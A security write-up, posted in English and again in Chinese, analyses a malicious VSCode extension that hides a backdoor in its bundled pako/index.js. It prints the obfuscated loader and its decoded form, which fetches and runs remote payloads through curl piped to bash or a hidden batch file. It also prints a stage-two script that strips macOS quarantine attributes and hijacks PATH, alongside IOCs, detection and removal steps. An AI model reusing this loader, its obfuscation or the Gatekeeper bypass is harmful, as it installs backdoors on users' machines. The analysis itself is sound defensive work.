DEV Community: 长风

Critical Security Alert: Malicious VSCode Extension "solidity-macos" Contains Backdoor

长风 — Fri, 27 Mar 2026 19:53:57 +0000

Executive Summary

A malicious Visual Studio Code extension disguised as a Solidity development tool has been discovered containing a sophisticated backdoor. The extension "solidity-macos" (version 0.1.8) published by IoliteLabs implements a supply chain attack by injecting malicious code into a legitimate dependency package.

🔴 THREAT LEVEL: CRITICAL

Extension Link: https://marketplace.visualstudio.com/items?itemName=IoliteLabs.solidity-macos

Key Findings

Attribute	Details
Extension Name	solidity-macos
Publisher	IoliteLabs
Version	0.1.8
Attack Type	Supply Chain Attack
Affected Platforms	Windows, macOS
C&C Infrastructure	`rraghh.com`, `cdn.rraghh.com`
Discovery Date	March 28, 2026
Status	Active threat

Attack Overview

Infection Vector

The malware is embedded in the extension's dependency tree, specifically in the pako package's entry point file:

extension/node_modules/pako/index.js

The legitimate pako library (a JavaScript compression library) has been weaponized by injecting malicious code that executes automatically when the extension loads.

Execution Flow

VSCode Startup
    ↓
Extension Activation (onStartupFinished)
    ↓
require('pako')
    ↓
Malicious code execution in pako/index.js
    ↓
Platform detection (Windows/macOS)
    ↓
Download and execute remote payload
    ↓
Establish persistence

Technical Analysis

Malicious Code (Obfuscated)

The injected code in pako/index.js:

var _0xd35d=(965581^965578)+(724804^724800);
const cp=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073");
_0xd35d=176481^176486;

if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="\u0077\u0069\u006E\u0033\u0032"){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u006B\u0020\u002D\u004C\u0020\u002D\u0053\u0073\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0063\u0061\u006C\u0063\u002E\u0062\u0061\u0074\u0022\u0020\u002D\u006F\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022\u0020\u0026\u0026\u0020\u0073\u0074\u0061\u0072\u0074\u0020\u002F\u0062\u0020\u0022\u0022\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],'\u0073\u0074\u0064\u0069\u006F':'ignore'})['\u0075\u006E\u0072\u0065\u0066']();
} else if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="niwrad".split("").reverse().join("")){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u0066\u0073\u0053\u004C\u0020\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0064\u006E\u002E\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0064\u006F\u0063\u002E\u0073\u0068\u0020\u007C\u0020\u0062\u0061\u0073\u0068",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065"})['\u0075\u006E\u0072\u0065\u0066']();
}

Deobfuscated Code

const cp = require("child_process");

if (process['platform'] === "win32") {
    // Windows payload
    cp['exec'](
        'curl -k -LSs "https://rraghh.com/gt/calc.bat" -o "%TEMP%\\1.bat" && start /b "" "%TEMP%\\1.bat"',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
} else if (process['platform'] === "darwin") {
    // macOS payload ("niwrad" reversed = "darwin")
    cp['exec'](
        'curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
}

Obfuscation Techniques

Technique	Purpose	Example
Unicode Escaping	Hide keywords	`\u0063\u0068\u0069\u006C\u0064_\u0070\u0072\u006F\u0063\u0065\u0073\u0073` → `child_process`
XOR Operations	Obfuscate numbers	`965581^965578` → `7`
String Reversal	Hide platform names	`"niwrad".split("").reverse().join("")` → `"darwin"`
Boolean Obfuscation	Hide true values	`!![]` → `true`

macOS Attack Chain

Stage 1: Initial Payload Download

curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash

The downloaded script (doc.sh) contains:

#!/bin/bash

mkdir -p ~/.local/bin && \
curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater && \
chmod +x ~/.local/bin/updater && \
xattr -d com.apple.quarantine ~/.local/bin/updater 2>/dev/null || true && \
xattr -c ~/.local/bin/updater 2>/dev/null || true && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc 2>/dev/null && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile 2>/dev/null && \
~/.local/bin/updater

Stage 2: Persistence Mechanism

1. Create Hidden Directory

mkdir -p ~/.local/bin

2. Download Backdoor Binary

curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater

3. Make Executable

chmod +x ~/.local/bin/updater

4. Bypass macOS Gatekeeper

xattr -d com.apple.quarantine ~/.local/bin/updater
xattr -c ~/.local/bin/updater

Removes quarantine attributes to prevent security warnings.

5. PATH Hijacking

echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile

Prepends malicious directory to PATH, enabling command interception.

6. Execute Backdoor

~/.local/bin/updater

Windows Attack Chain

Payload Execution

curl -k -LSs "https://rraghh.com/gt/calc.bat" -o "%TEMP%\1.bat" && start /b "" "%TEMP%\1.bat"

Breakdown:

Downloads calc.bat to temporary directory
Executes in background using start /b
Likely contains similar persistence mechanisms

Stealth Techniques

Process Hiding

{
    'detached': true,    // Detach from parent process
    'stdio': 'ignore'    // Suppress all output
}
.unref();                // Allow parent to exit independently

Effects:

Malicious process runs silently in background
No console output visible to user
Does not block VSCode startup
Cannot be traced from VSCode process tree

Anti-Detection Features

Code Obfuscation: Unicode escaping + XOR operations
String Encryption: All keywords encoded
Delayed Execution: Triggers only on extension load
Fileless Execution: macOS version pipes directly to bash
Legitimate Cover: Disguised as Solidity development tool

Indicators of Compromise (IOCs)

Network Indicators

Domains:

rraghh.com
cdn.rraghh.com
*.rraghh.com

URLs:

https://rraghh.com/gt/calc.bat
https://cdn.rraghh.com/gt/doc.sh
https://cdn.rraghh.com/gt/doc

File System Indicators

macOS:

~/.local/bin/updater
~/.local/bin/apple
~/.local/bin/.system_updater

Windows:

%TEMP%\1.bat

Modified Files:

~/.zshrc
~/.bash_profile

File Hashes

SHA256(extension/node_modules/pako/index.js):
fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508

Process Indicators

Process Names:

updater
apple
.system_updater

Command Lines:

curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash
bash -c "curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash"

Detection Methods

1. Extension Audit

# List all installed extensions
code --list-extensions --show-versions | grep -i solidity

# Check for malicious extension
ls -la ~/.vscode/extensions/ | grep -i "iolite"

2. File Integrity Check

# Check if pako/index.js is compromised
find ~/.vscode/extensions -name "pako" -type d -exec grep -l "child_process\|rraghh" {}/index.js \;

3. Process Monitoring

# macOS
ps aux | grep -E "updater|\.local/bin/apple|rraghh"

# Check network connections
lsof -i | grep -E "rraghh"
netstat -an | grep -E "rraghh"

4. File System Check

# Check for malicious binaries
ls -la ~/.local/bin/
file ~/.local/bin/updater 2>/dev/null

# Check shell configuration
grep -n "\.local/bin" ~/.zshrc ~/.bash_profile

5. Network Traffic Analysis

# Monitor DNS queries
sudo tcpdump -i any port 53 | grep rraghh

# Monitor HTTPS connections
sudo tcpdump -i any host rraghh.com or host cdn.rraghh.com

Removal Instructions

Immediate Actions

Step 1: Terminate Malicious Processes

# macOS/Linux
pkill -9 -f "\.local/bin/apple"
pkill -9 -f "\.local/bin/updater"
pkill -9 -f "\.local/bin/.system_updater"

# Windows
taskkill /F /IM updater.exe
taskkill /F /IM apple.exe

Step 2: Remove Malicious Files

# macOS/Linux
rm -f ~/.local/bin/apple
rm -f ~/.local/bin/updater
rm -f ~/.local/bin/.system_updater

# If entire directory is compromised
rm -rf ~/.local/bin/

# Windows
del %TEMP%\1.bat
del %LOCALAPPDATA%\updater.exe

Step 3: Clean Shell Configuration

# Backup first
cp ~/.zshrc ~/.zshrc.backup
cp ~/.bash_profile ~/.bash_profile.backup

# Remove malicious PATH entries
sed -i.bak '/\.local\/bin/d' ~/.zshrc
sed -i.bak '/\.local\/bin/d' ~/.bash_profile

# Or manually edit
vim ~/.zshrc
vim ~/.bash_profile

Step 4: Uninstall Extension

# Via command line
code --uninstall-extension IoliteLabs.solidity-macos

# Manual removal
rm -rf ~/.vscode/extensions/iolitelabs.solidity-macos-*

# Remove cached VSIX
rm -f ~/Library/Application\ Support/Code/CachedExtensionVSIXs/iolitelabs.solidity-macos-*

Step 5: Check LaunchAgents (macOS)

# List launch agents
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/

# Check running agents
launchctl list | grep -E "updater|apple|rraghh"

# Remove suspicious agents
launchctl unload ~/Library/LaunchAgents/com.suspicious.plist
rm ~/Library/LaunchAgents/com.suspicious.plist

Step 6: Check Scheduled Tasks

# macOS/Linux
crontab -l
# If malicious entries found:
crontab -e

# Windows
schtasks /query /fo LIST /v | findstr updater
schtasks /delete /tn "TaskName" /f

Step 7: Restart Shell

# Reload configuration
source ~/.zshrc

# Or restart terminal

Advanced Forensics

Memory Analysis

# Dump process memory (macOS)
sudo gcore -o /tmp/updater.dump $(pgrep updater)

# Analyze with strings
strings /tmp/updater.dump.* | grep -E "http|rraghh|password|key"

Network Forensics

# Capture traffic for analysis
sudo tcpdump -i any -w /tmp/capture.pcap host rraghh.com

# Analyze with Wireshark or tshark
tshark -r /tmp/capture.pcap -Y "http or dns"

File System Timeline

# Find recently modified files
find ~ -type f -mtime -7 -ls

# Find recently created executables
find ~ -type f -perm +111 -mtime -7

Prevention Strategies

For Individual Developers

Install Extensions from Official Marketplace Only
- Verify publisher identity
- Check extension ratings and reviews
- Review installation count and update frequency
Review Extension Permissions

   // Check package.json for suspicious activationEvents
   "activationEvents": [
     "onStartupFinished",  // ⚠️ Auto-runs on startup
     "*"                   // ⚠️ Runs on any event
   ]

Audit Installed Extensions Regularly

   code --list-extensions --show-versions > extensions.txt
   diff extensions.txt extensions.txt.old

Use Dependency Lock Files

   # Verify package integrity
   npm ci  # Uses package-lock.json

Enable VSCode Security Features

   {
     "extensions.autoCheckUpdates": false,
     "extensions.autoUpdate": false,
     "security.workspace.trust.enabled": true
   }

For Organizations

Implement Extension Allowlisting

   // settings.json
   {
     "extensions.autoCheckUpdates": false,
     "extensions.autoUpdate": false
   }

Deploy Private Extension Marketplace
- Host vetted extensions internally
- Scan extensions before approval
Network-Level Protection

   # Block malicious domains at firewall/DNS
   rraghh.com
   cdn.rraghh.com
   *.rraghh.com

Endpoint Detection and Response (EDR)
- Monitor for suspicious child processes from VSCode
- Alert on curl/wget piped to bash
- Detect PATH modifications
File Integrity Monitoring (FIM)

   # Monitor critical files
   ~/.zshrc
   ~/.bash_profile
   ~/.local/bin/
   ~/.vscode/extensions/

Security Awareness Training
- Educate developers about supply chain attacks
- Establish incident response procedures

MITRE ATT&CK Mapping

Tactic	Technique	ID	Description
Initial Access	Supply Chain Compromise	T1195.002	Compromise software dependencies
Execution	Command and Scripting Interpreter	T1059.004	Execute bash/batch scripts
Persistence	Path Interception	T1574.007	Hijack PATH environment variable
Defense Evasion	Obfuscated Files or Information	T1027	Unicode escaping, XOR obfuscation
Defense Evasion	Subvert Trust Controls	T1553.001	Remove Gatekeeper quarantine attributes
Command and Control	Web Protocols	T1071.001	HTTPS for C&C communication

Attribution Analysis

Threat Actor Profile

Sophistication Level: Intermediate to Advanced

Capabilities:

JavaScript obfuscation techniques
Cross-platform malware development
Supply chain attack methodology
Infrastructure management (CDN usage)

Targeting:

Blockchain/Web3 developers (Solidity focus)
Cryptocurrency wallet theft potential
Supply chain compromise for downstream attacks

Infrastructure:

CDN-based payload distribution
Domain privacy protection
Likely cloud-hosted C&C servers

Similar Campaigns

event-stream (2018)
- npm package compromised
- Targeted cryptocurrency wallets
- Affected 8 million downloads
ua-parser-js (2021)
- npm package hijacked
- Deployed cryptocurrency miners
- Affected millions of projects
VSCode "prettiest" (2023)
- Fake code formatter extension
- Stole credentials and tokens
- Removed from marketplace

Timeline

Date	Event
2026-03-25	Malicious extension packaged (VSIX timestamp)
2026-03-26 16:27	Extension files extracted locally
2026-03-27	User installs extension
2026-03-28 02:33	Suspicious process "apple" detected (PID 3009)
2026-03-28 03:00+	Analysis and remediation begins

Recommendations

Immediate Actions

✅ Uninstall the extension immediately
✅ Run full system malware scan
✅ Change all passwords and API keys
✅ Review cryptocurrency wallet activity
✅ Check for unauthorized access to accounts

Short-term Actions

🔍 Audit all installed VSCode extensions
🔍 Review recent system and network activity
🔍 Scan all projects for injected code
🔍 Notify team members if extension was shared

Long-term Actions

🛡️ Implement extension vetting process
🛡️ Deploy EDR/FIM solutions
🛡️ Establish security monitoring
🛡️ Conduct security awareness training

Reporting

If you have been affected by this malware or have additional information:

Report to VSCode Security Team

GitHub: https://github.com/microsoft/vscode/security/advisories/new
Email: secure@microsoft.com

Report to npm Security Team

Email: security@npmjs.com
HackerOne: https://hackerone.com/npmjs

Share IOCs with Community

Twitter: Use hashtag #VSCodeMalware
Reddit: r/netsec, r/vscode
Security Mailing Lists: Full Disclosure, BugTraq

References

VSCode Extension Security
- https://code.visualstudio.com/api/references/extension-manifest
- https://code.visualstudio.com/docs/editor/extension-marketplace
npm Security Best Practices
- https://docs.npmjs.com/packages-and-modules/securing-your-code
- https://docs.npmjs.com/cli/v8/commands/npm-audit
macOS Security
- Gatekeeper: https://support.apple.com/en-us/HT202491
- XProtect: https://support.apple.com/guide/security/
MITRE ATT&CK Framework
- https://attack.mitre.org/
- https://attack.mitre.org/techniques/T1195/002/
Supply Chain Attack Resources
- CISA: https://www.cisa.gov/supply-chain
- NIST: https://csrc.nist.gov/projects/supply-chain-risk-management

Disclaimer

This report is provided for security research and educational purposes only. The information should not be used for malicious purposes. The author is not responsible for any misuse of the techniques described herein.

Contact

For questions or additional information about this analysis:

Report Issues: Create an issue on GitHub
Security Researchers: Contact via security mailing lists
Media Inquiries: Please cite this report appropriately

Report Generated: March 28, 2026
Analysis Tools: Claude Code, VSCode, macOS system utilities
Report Version: 1.0 (English)

Acknowledgments

Thanks to the security community for their ongoing efforts to identify and mitigate supply chain attacks. Stay vigilant and always verify your dependencies.

#StaySafeOnline #SupplyChainSecurity #VSCodeSecurity

VSCode 插件solidity-macos恶意扩展深度分析报告

长风 — Fri, 27 Mar 2026 19:32:17 +0000

概述

本报告详细分析了一个伪装成 Solidity 开发工具的恶意 VSCode 扩展 iolitelabs.solidity-macos-0.1.8。该扩展通过供应链攻击手段，在依赖包中注入恶意代码，实现跨平台后门植入。连接https://marketplace.visualstudio.com/items?itemName=IoliteLabs.solidity-macos
github代码为8年前的，恶意代码依然在线未下架。

威胁等级：高危 🔴

基本信息

项目	内容
扩展名称	solidity-macos
发布者	IoliteLabs
版本	0.1.8
伪装身份	Solidity 智能合约开发插件
攻击类型	供应链攻击 (Supply Chain Attack)
影响平台	Windows, macOS
C&C 域名	`rraghh.com`, `cdn.rraghh.com`

攻击链分析

1. 感染入口

恶意代码位于：extension/node_modules/pako/index.js

正常的 pako 库是一个合法的 JavaScript 压缩库，但攻击者篡改了其入口文件。

2. 恶意代码详解

原始混淆代码

var _0xd35d=(965581^965578)+(724804^724800);
const cp=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073");
_0xd35d=176481^176486;

if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="\u0077\u0069\u006E\u0033\u0032"){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u006B\u0020\u002D\u004C\u0020\u002D\u0053\u0073\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0063\u0061\u006C\u0063\u002E\u0062\u0061\u0074\u0022\u0020\u002D\u006F\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022\u0020\u0026\u0026\u0020\u0073\u0074\u0061\u0072\u0074\u0020\u002F\u0062\u0020\u0022\u0022\u0020\u0022\u0025\u0054\u0045\u004D\u0050\u0025\u005C\u0031\u002E\u0062\u0061\u0074\u0022",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],'\u0073\u0074\u0064\u0069\u006F':'ignore'})['\u0075\u006E\u0072\u0065\u0066']();
} else if(process['\u0070\u006C\u0061\u0074\u0066\u006F\u0072\u006D']==="niwrad".split("").reverse().join("")){
    cp['\u0065\u0078\u0065\u0063']("\u0063\u0075\u0072\u006C\u0020\u002D\u0066\u0073\u0053\u004C\u0020\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0064\u006E\u002E\u0072\u0072\u0061\u0067\u0068\u0068\u002E\u0063\u006F\u006D\u002F\u0067\u0074\u002F\u0064\u006F\u0063\u002E\u0073\u0068\u0020\u007C\u0020\u0062\u0061\u0073\u0068",
    {'\u0064\u0065\u0074\u0061\u0063\u0068\u0065\u0064':!![],"stdio":"\u0069\u0067\u006E\u006F\u0072\u0065"})['\u0075\u006E\u0072\u0065\u0066']();
}

解码后的真实代码

const cp = require("child_process");

if (process['platform'] === "win32") {
    // Windows 平台
    cp['exec'](
        'curl -k -LSs "https://rraghh.com/gt/calc.bat" -o "%TEMP%\\1.bat" && start /b "" "%TEMP%\\1.bat"',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
} else if (process['platform'] === "darwin") {
    // macOS 平台 ("niwrad" 反转 = "darwin")
    cp['exec'](
        'curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash',
        {
            'detached': true,
            'stdio': 'ignore'
        }
    )['unref']();
}

3. 混淆技术分析

技术	目的	示例
Unicode 转义	隐藏关键字符串	`\u0063\u0068\u0069\u006C\u0064_\u0070\u0072\u006F\u0063\u0065\u0073\u0073` = `child_process`
异或运算	混淆数字常量	`965581^965578` = `7`
字符串反转	隐藏平台名称	`"niwrad".split("").reverse().join("")` = `"darwin"`
布尔值混淆	隐藏 true 值	`!![]` = `true`

4. 执行流程

VSCode 启动
    ↓
加载扩展 (onStartupFinished)
    ↓
require('pako')
    ↓
执行 pako/index.js
    ↓
检测操作系统
    ↓
┌─────────────┬─────────────┐
│   Windows   │    macOS    │
└─────────────┴─────────────┘
      ↓              ↓
  下载 calc.bat  下载 doc.sh
      ↓              ↓
  后台执行       管道执行 bash
      ↓              ↓
   持久化         持久化

macOS 攻击载荷分析

下载的恶意脚本 (doc.sh)

#!/bin/bash

mkdir -p ~/.local/bin && \
curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater && \
chmod +x ~/.local/bin/updater && \
xattr -d com.apple.quarantine ~/.local/bin/updater 2>/dev/null || true && \
xattr -c ~/.local/bin/updater 2>/dev/null || true && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc 2>/dev/null && \
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile 2>/dev/null && \
~/.local/bin/updater

攻击步骤解析

   mkdir -p ~/.local/bin

在用户目录下创建 .local/bin 目录（隐藏目录）

下载后门程序

   curl -sL https://cdn.rraghh.com/gt/doc -o ~/.local/bin/updater

-s: 静默模式，不显示进度
-L: 跟随重定向

赋予执行权限

   chmod +x ~/.local/bin/updater

绕过 macOS Gatekeeper

   xattr -d com.apple.quarantine ~/.local/bin/updater
   xattr -c ~/.local/bin/updater

移除隔离属性，避免 macOS 安全警告

劫持 PATH 环境变量

   echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
   echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bash_profile

将恶意目录添加到 PATH 最前面，实现命令劫持

立即执行后门

   ~/.local/bin/updater

持久化机制

1. PATH 劫持

通过修改 shell 配置文件，将 ~/.local/bin 添加到 PATH 最前面：

# ~/.zshrc 和 ~/.bash_profile 被添加
export PATH="$HOME/.local/bin:$PATH"

危害：

可以劫持系统命令（如 ls, cd, git 等）
每次打开终端都会优先执行恶意目录中的程序
难以被用户察觉

2. 可能的 LaunchAgent

虽然本次分析未发现，但类似攻击通常会创建：

~/Library/LaunchAgents/com.*.plist

网络基础设施

C&C 服务器

域名	用途	状态
`rraghh.com`	Windows 载荷分发	活跃
`cdn.rraghh.com`	macOS 载荷分发	活跃

下载的文件

平台	URL	本地路径
Windows	`https://rraghh.com/gt/calc.bat`	`%TEMP%\1.bat`
macOS	`https://cdn.rraghh.com/gt/doc.sh`	管道执行
macOS	`https://cdn.rraghh.com/gt/doc`	`~/.local/bin/updater`

技术特征

进程隐藏技术

{
    'detached': true,    // 分离父进程
    'stdio': 'ignore'    // 忽略标准输入输出
}
.unref();                // 解除引用，允许父进程退出

效果：

恶意进程在后台静默运行
不会阻塞 VSCode 启动
用户无法从 VSCode 进程树中发现

反检测技术

代码混淆：Unicode 转义 + 异或运算
字符串加密：关键字符串全部编码
延迟执行：在扩展加载时才触发
无文件落地：macOS 版本直接管道执行

文件哈希值

恶意文件

SHA256(extension/node_modules/pako/index.js) =
fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508

干净文件（对比）

正常的 pako 1.0.11 版本 index.js：

'use strict';

var assign = require('./lib/utils/common').assign;
var deflate = require('./lib/deflate');
var inflate = require('./lib/inflate');
var constants = require('./lib/zlib/constants');

var pako = {};
assign(pako, deflate, inflate, constants);
module.exports = pako;

检测方法

1. 文件完整性检查

# 检查 pako/index.js 是否被篡改
grep -r "child_process\|rraghh\|curl.*bash" ~/.vscode/extensions/*/node_modules/pako/index.js

2. 进程监控

# macOS
ps aux | grep -E "updater|\.local/bin/apple"

# 检查网络连接
lsof -i | grep -E "rraghh"

3. 文件系统检查

# 检查恶意文件
ls -la ~/.local/bin/
cat ~/.local/bin/updater 2>/dev/null

# 检查 shell 配置
grep "\.local/bin" ~/.zshrc ~/.bash_profile

4. VSCode 扩展审计

# 列出所有已安装扩展
code --list-extensions --show-versions

# 检查可疑扩展
ls -la ~/.vscode/extensions/ | grep -i "iolite\|solidity-macos"

清除方法

立即响应步骤

1. 终止恶意进程

# 查找并终止
pkill -9 -f "\.local/bin/apple"
pkill -9 -f "\.local/bin/updater"
pkill -9 -f "\.local/bin/.system_updater"

2. 删除恶意文件

# 删除后门程序
rm -f ~/.local/bin/apple
rm -f ~/.local/bin/updater
rm -f ~/.local/bin/.system_updater

# 如果整个目录只有恶意文件
rm -rf ~/.local/bin/

3. 清理 shell 配置

# 备份配置文件
cp ~/.zshrc ~/.zshrc.backup
cp ~/.bash_profile ~/.bash_profile.backup

# 手动编辑，删除包含 .local/bin 的 PATH 行
vim ~/.zshrc
vim ~/.bash_profile

# 或使用 sed 自动删除
sed -i.bak '/\.local\/bin/d' ~/.zshrc
sed -i.bak '/\.local\/bin/d' ~/.bash_profile

4. 卸载恶意扩展

# 通过 VSCode 命令行
code --uninstall-extension iolitelabs.solidity-macos

# 手动删除
rm -rf ~/.vscode/extensions/iolitelabs.solidity-macos-*

# 删除缓存的 VSIX
rm -f ~/Library/Application\ Support/Code/CachedExtensionVSIXs/iolitelabs.solidity-macos-*

5. 检查 LaunchAgents

# 查找可疑的自动启动项
ls -la ~/Library/LaunchAgents/
ls -la /Library/LaunchAgents/
ls -la /Library/LaunchDaemons/

# 检查是否有相关项
launchctl list | grep -E "updater|apple|rraghh"

6. 检查 crontab

# 查看定时任务
crontab -l

# 如果发现可疑任务，编辑删除
crontab -e

7. 重启 shell

# 重新加载配置
source ~/.zshrc
# 或重启终端

深度清理（可选）

1. 网络流量分析

# 检查是否有持续的恶意连接
sudo tcpdump -i any host rraghh.com or host cdn.rraghh.com

2. 文件系统全盘扫描

# 搜索所有相关文件
sudo find / -name "*updater*" -o -name "*rraghh*" 2>/dev/null

# 搜索最近修改的可执行文件
find ~ -type f -perm +111 -mtime -7

3. 浏览器扩展检查

某些恶意软件会同时感染浏览器，检查：

Chrome: chrome://extensions/
Safari: 偏好设置 → 扩展

防护建议

对于开发者

只从官方市场安装扩展
- VSCode Marketplace: https://marketplace.visualstudio.com/
- 避免从第三方网站下载 .vsix 文件
审查扩展权限
- 查看扩展的 package.json 中的 activationEvents
- 警惕 onStartupFinished 等自动激活事件
定期审计已安装扩展

   code --list-extensions --show-versions > extensions.txt

使用 SRI (Subresource Integrity)
- 验证依赖包的完整性
- 使用 package-lock.json 锁定版本
启用 VSCode 安全功能

   {
     "extensions.autoCheckUpdates": false,
     "extensions.autoUpdate": false
   }

对于企业

建立扩展白名单制度
使用私有扩展市场
部署 EDR (Endpoint Detection and Response)
网络层面阻断恶意域名

   rraghh.com
   cdn.rraghh.com
   *.rraghh.com

文件完整性监控 (FIM)
- 监控 ~/.local/bin/ 目录
- 监控 shell 配置文件变化

IOC (Indicators of Compromise)

域名

rraghh.com
cdn.rraghh.com

URL

https://rraghh.com/gt/calc.bat
https://cdn.rraghh.com/gt/doc.sh
https://cdn.rraghh.com/gt/doc

文件路径

~/.local/bin/updater
~/.local/bin/apple
~/.local/bin/.system_updater
%TEMP%\1.bat

文件哈希

SHA256(pako/index.js) = fcd398abc51fd16e8bc93ef8d88a23d7dec28081b6dfce4b933020322a610508

进程特征

进程名: updater, apple, .system_updater
命令行: curl -fsSL https://cdn.rraghh.com/gt/doc.sh | bash

网络特征

目标域名: rraghh.com, cdn.rraghh.com
协议: HTTPS
User-Agent: curl/*

时间线

时间	事件
2026-03-25	恶意扩展被打包 (VSIX 文件时间戳)
2026-03-26 16:27	扩展文件被解压到本地
2026-03-27	用户安装扩展
2026-03-28 02:33	发现可疑进程 `apple` (PID 3009)
2026-03-28 03:00+	开始分析和清理

攻击归因

攻击者特征

技术水平：中高级
- 熟悉 JavaScript 混淆技术
- 了解 VSCode 扩展机制
- 掌握跨平台脚本编写
攻击目标：
- 区块链/Web3 开发者（Solidity 开发者）
- 可能窃取加密货币钱包私钥
- 可能进行供应链攻击
基础设施：
- 使用 CDN 分发载荷
- 域名注册信息隐藏
- 可能使用云服务托管

相似攻击案例

event-stream 事件 (2018)：npm 包被注入恶意代码窃取比特币
ua-parser-js 投毒 (2021)：npm 包被劫持植入挖矿木马
VSCode 扩展 "prettiest" (2023)：伪装成代码格式化工具的后门

技术总结

攻击向量

供应链攻击 (Supply Chain Attack)
    ↓
依赖混淆 (Dependency Confusion)
    ↓
代码注入 (Code Injection)
    ↓
后门植入 (Backdoor Installation)
    ↓
持久化 (Persistence)

MITRE ATT&CK 映射

战术	技术	ID
Initial Access	Supply Chain Compromise	T1195.002
Execution	Command and Scripting Interpreter	T1059.004
Persistence	Path Interception	T1574.007
Defense Evasion	Obfuscated Files or Information	T1027
Defense Evasion	Subvert Trust Controls	T1553.001

参考资料

VSCode 扩展安全指南
- https://code.visualstudio.com/api/references/extension-manifest
npm 包安全最佳实践
- https://docs.npmjs.com/packages-and-modules/securing-your-code
macOS 安全机制
- Gatekeeper: https://support.apple.com/en-us/HT202491
- XProtect: https://support.apple.com/guide/security/
MITRE ATT&CK Framework
- https://attack.mitre.org/

联系方式

如果您发现类似的恶意扩展，请报告给：

VSCode 安全团队: https://github.com/microsoft/vscode/security
npm 安全团队: security@npmjs.com

免责声明

本报告仅用于安全研究和教育目的。请勿将本报告中的技术用于非法用途。作者不对任何滥用行为负责。

报告生成时间: 2026-03-28
分析工具: Claude Code, VSCode, macOS 系统工具
报告版本: 1.0